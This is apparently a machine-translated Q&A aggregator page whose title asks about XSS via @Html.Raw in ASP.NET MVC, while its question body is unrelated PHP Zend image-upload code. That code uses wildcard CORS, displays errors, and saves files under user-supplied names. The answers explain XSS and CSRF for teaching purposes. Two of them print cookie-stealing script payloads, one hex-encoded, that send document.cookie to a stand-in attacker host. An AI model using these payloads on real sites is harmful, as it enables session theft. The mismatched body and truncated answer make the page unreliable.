MVC C #: Какой большой вред можно сделать, используя Cross-Site Script Attack (XSS), если мы используем @ Html.Raw вместо @ Html.DisplayFor [duplicate]

ZF cake:

<?php

class FkuController extends Zend_Controller_Action {

  var $image;
  var $image_type;

  public function store_uploaded_image($html_element_name, $new_img_width, $new_img_height) {

    $target_dir = APPLICATION_PATH  . "/../public/1/";
    $target_file = $target_dir . basename($_FILES[$html_element_name]["name"]);

    //$image = new SimpleImage();
    $this->load($_FILES[$html_element_name]['tmp_name']);
    $this->resize($new_img_width, $new_img_height);
    $this->save($target_file);
    return $target_file; 
    //return name of saved file in case you want to store it in you database or show confirmation message to user



  public function load($filename) {

      $image_info = getimagesize($filename);
      $this->image_type = $image_info[2];
      if( $this->image_type == IMAGETYPE_JPEG ) {

         $this->image = imagecreatefromjpeg($filename);
      } elseif( $this->image_type == IMAGETYPE_GIF ) {

         $this->image = imagecreatefromgif($filename);
      } elseif( $this->image_type == IMAGETYPE_PNG ) {

         $this->image = imagecreatefrompng($filename);
      }
   }
  public function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) {

      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this->image,$filename,$compression);
      } elseif( $image_type == IMAGETYPE_GIF ) {

         imagegif($this->image,$filename);
      } elseif( $image_type == IMAGETYPE_PNG ) {

         imagepng($this->image,$filename);
      }
      if( $permissions != null) {

         chmod($filename,$permissions);
      }
   }
  public function output($image_type=IMAGETYPE_JPEG) {

      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this->image);
      } elseif( $image_type == IMAGETYPE_GIF ) {

         imagegif($this->image);
      } elseif( $image_type == IMAGETYPE_PNG ) {

         imagepng($this->image);
      }
   }
  public function getWidth() {

      return imagesx($this->image);
   }
  public function getHeight() {

      return imagesy($this->image);
   }
  public function resizeToHeight($height) {

      $ratio = $height / $this->getHeight();
      $width = $this->getWidth() * $ratio;
      $this->resize($width,$height);
   }

  public function resizeToWidth($width) {
      $ratio = $width / $this->getWidth();
      $height = $this->getheight() * $ratio;
      $this->resize($width,$height);
   }

  public function scale($scale) {
      $width = $this->getWidth() * $scale/100;
      $height = $this->getheight() * $scale/100;
      $this->resize($width,$height);
   }

  public function resize($width,$height) {
      $new_image = imagecreatetruecolor($width, $height);
      imagecopyresampled($new_image, $this->image, 0, 0, 0, 0, $width, $height, $this->getWidth(), $this->getHeight());
      $this->image = $new_image;
   }

  public function savepicAction() {
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);

    $this->_helper->layout()->disableLayout();
    $this->_helper->viewRenderer->setNoRender();
    $this->_response->setHeader('Access-Control-Allow-Origin', '*');

    $this->db = Application_Model_Db::db_load();        
    $ouser = $_POST['ousername'];


      $fdata = 'empty';
      if (isset($_FILES['picture']) && $_FILES['picture']['size'] > 0) {
        $file_size = $_FILES['picture']['size'];
        $tmpName  = $_FILES['picture']['tmp_name'];  

        //Determine filetype
        switch ($_FILES['picture']['type']) {
            case 'image/jpeg': $ext = "jpg"; break;
            case 'image/png': $ext = "png"; break;
            case 'image/jpg': $ext = "jpg"; break;
            case 'image/bmp': $ext = "bmp"; break;
            case 'image/gif': $ext = "gif"; break;
            default: $ext = ''; break;
        }

        if($ext) {
          //if($file_size<400000) {  
            $img = $this->store_uploaded_image('picture', 90,82);
            //$fp      = fopen($tmpName, 'r');
            $fp = fopen($img, 'r');
            $fdata = fread($fp, filesize($tmpName));        
            $fdata = base64_encode($fdata);
            fclose($fp);

          //}
        }

      }

      if($fdata=='empty'){

      }
      else {
        $this->db->update('users', 
          array(
            'picture' => $fdata,             
          ), 
          array('username=?' => $ouser ));        
      }



  }  
31
задан Nitrodist 27 April 2012 в 14:00
поделиться

6 ответов

XSS -

Уязвимость, вызванная тем, что веб-сайт помещает доверие пользователю и не фильтрует вход пользователя. Пользовательский ввод приводит к запуску нежелательного скрипта на сайте.

  1. Предотвращение: фильтрация ввода пользователя с использованием детектора для ввода HTML (например, strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape в php)

CSRF:

Уязвимость, вызванная тем, что пользователь помещает доверие на сайт, но сайт может работать для получения пользовательской информации и неправильного использования.

  1. Предотвращение: уникально автоматически генерирует csrf_token каждый раз, когда отображается форма. Csrf_token отправляется на сервер при отправке формы для проверки. например https://docs.djangoproject.com/en/dev/ref/contrib/csrf/
-2
ответ дан Abhishek Mehta 1 September 2018 в 09:46
поделиться

В Simple English

XSS - это когда вы вставляете скрипты (т.е. код JavaScript) в веб-страницы, чтобы браузер выполнял код. Это вредоносно, потому что его можно использовать для кражи файлов cookie и любых других данных на странице. Например:

HTML окна поиска: <input value="*search value here*">

Теперь, если вы введете " onmouseover="alert(1), окончательный HTML будет <input value="" onmouseover="alert(1)"> Когда мышь передается по

В «WikiText»

Межсайтовый скриптинг (XSS) - это тип уязвимости компьютерной безопасности, обычно встречающейся в веб-приложениях. XSS позволяет злоумышленникам внедрять клиентские сценарии на веб-страницы, просматриваемые другими пользователями. Уязвимость межсайтового скриптинга может использоваться злоумышленниками для обхода средств контроля доступа, таких как политика одного и того же происхождения.

2
ответ дан BillyBob 1 September 2018 в 09:46
поделиться

Я написал статью о том, что такое XSS и как обращаться с ней как разработчиком PHP. Есть также примеры того, как выглядят оба типа атак XSS (постоянный или непостоянный).

Существует два типа атак XSS:

  1. Непостоянный : Это будет специально созданный URL-адрес, который встраивает скрипт в качестве одного из параметров целевой страницы. Отвратительный URL-адрес можно отправить по электронной почте с намерением обмануть получателя, щелкнув его. Целевая страница игнорирует параметр и непреднамеренно отправляет код на компьютер клиента, который был первоначально отправлен через строку URL.
  2. Постоянный: эта атака использует страницу на сайте, которая сохраняет данные формы в базе данных без обработки правильные входные данные. Злоумышленник может вставлять неприятный скрипт как часть типичного поля данных (например, Last Name), которое бессознательно запускается на веб-браузере клиента. Обычно неприятный скрипт хранится в базе данных и повторно запускается при каждом посещении клиента на зараженной странице.

Подробнее см. Здесь: http://www.thedablog.com / что-это-XSS /

1
ответ дан Jason Locke 1 September 2018 в 09:46
поделиться

Уязвимость XSS существует всякий раз, когда строка извне вашего приложения может быть интерпретирована как код.

Например, если вы генерируете HTML, сделав это:

<BODY>
  <?= $myQueryParameter ?>
</BODY>

то, если переменная $myQueryParameter содержит тэг <SCRIPT>, тогда он завершит выполнение кода.

Чтобы предотвратить выполнение ввода в качестве кода, вам необходимо правильно удалить содержимое.

Вышеупомянутая проблема может быть решена путем реализации того, что переменная $myQueryParameter содержит обычный текст, но вы не можете просто поместить простой текст в HTML и ожидать, что он будет работать.

Итак, вам нужно конвертировать обычный текст в HTML, чтобы вы могли поместить его на свою HTML-страницу.

Вы можете избежать простого текста в HTML с помощью такой функции, как:

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}
18
ответ дан Mike Samuel 1 September 2018 в 09:46
поделиться

Скрипты Cross Site в основном представляют собой уязвимость безопасности динамических веб-страниц, где злоумышленник может создать вредоносную ссылку для ввода нежелательного исполняемого JavaScript на веб-сайт. Наиболее распространенный случай этих уязвимостей возникает, когда переменные GET печатаются или эхофонируются без фильтрации или проверки их содержимого.

Когда жертва щелкает ссылку, вредоносный код может затем отправить файл cookie жертвы другому серверу, или может модифицировать затронутый сайт, вводить формы, украсть имена пользователей и пароли и другие методы фишинга.

Пример злонамеренной ссылки:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>

Также широко распространено кодирование вредоносный код, например, в шестнадцатеричном формате:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
28
ответ дан RamenChef 1 September 2018 в 09:46
поделиться

В простом английском языке XSS является уязвимостью безопасности, при которой злоумышленник может создать вредоносный скрипт для компрометации веб-сайта. Теперь как это работает?

Как мы знаем, XSS нуждается в поле ввода, или мы можем сказать, что переменная GET, через которую вход возвращается к пользователю без фильтрации и иногда фильтрации. После запроса он является приемлемым («исходный код») браузером в качестве ответа, чтобы показать содержимое пользователю. Помните, что когда-либо вы написали в поле ввода, это будет на ответ исходного кода. Поэтому вы должны его проверить, потому что иногда веб-разработчик делает ограничение в окне предупреждения.

Если вы сначала атакуете знать уязвимость xss с помощью тега script.

Например: - alert ("test")

Здесь alert () используется для создания всплывающего окна с кнопкой ok и того, что вы написали в скобке, это будет всплывающее окно на экране. И теги скрипта невидимы.

Теперь злоумышленник может создать вредоносный скрипт, чтобы украсть файл cookie, украсть учетные данные и т. Д.

Например: - hxxp: // www. VulnerableSite.com/index.php?search=location.href = ' http://www.Yoursite.com/Stealer.php?cookie= ' + document.cookie;

Здесь ваш сайт - сайт злоумышленника, на котором злоумышленник может перенаправить cookie жертвы на свой сайт с помощью document.cookie.

Thats it.

Здесь сценарий tag invisible

1
ответ дан Utkarsh Agrawal 1 September 2018 в 09:46
поделиться
Другие вопросы по тегам:

Похожие вопросы: